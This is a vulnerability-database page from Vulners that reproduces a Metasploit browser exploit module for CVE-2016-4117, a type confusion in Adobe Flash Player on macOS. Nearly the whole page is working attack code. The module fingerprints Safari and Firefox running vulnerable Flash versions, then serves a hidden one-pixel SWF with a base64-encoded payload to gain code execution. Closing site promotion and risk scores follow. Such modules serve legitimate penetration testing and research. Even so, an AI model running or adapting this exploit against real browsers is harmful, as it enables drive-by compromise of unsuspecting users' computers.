Vulners
Lucene search
Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
'Description' => %q(
This module exploits a type confusion on Adobe Flash Player, which was
originally found being successfully exploited in the wild. This module
has been tested successfully on:
macOS Sierra 10.12.3,
Safari and Adobe Flash Player 21.0.0.182,
Firefox and Adobe Flash Player 21.0.0.182.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Genwei Jiang', # FireEye original blog details on the vulnerability
'bcook-r7' # Imported Metasploit module
],
'References' =>
[
['CVE', '2016-4117'],
['BID', '90505'],
['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],
['URL', 'http://www.securitytracker.com/id/1035826'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['osx'],
'BrowserRequirements' =>
{
source: /script|headers/i,
os_name: lambda do |os|
os =~ OperatingSystems::Match::MAC_OSX
end,
ua_name: lambda do |ua|
case target.name
when 'Mac OS X'
return true if ua == Msf::HttpClients::SAFARI
return true if ua == Msf::HttpClients::FF
end
false
end,
flash: lambda do |ver|
case target.name
when 'Mac OS X'
return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
end
false
end
},
'Targets' =>
[
[
'Mac OS X', {
'Platform' => 'osx',
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri.end_with? 'swf'
print_status('Sending SWF...')
send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(3..7)}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
if target.name.include? 'osx'
platform_id = 'osx'
end
html_template = %(<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
)
return html_template, binding
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
File.binread(path)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Feb 2019 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.17.8 - 9.8
CVSS 210
EPSS0.92961
SSVC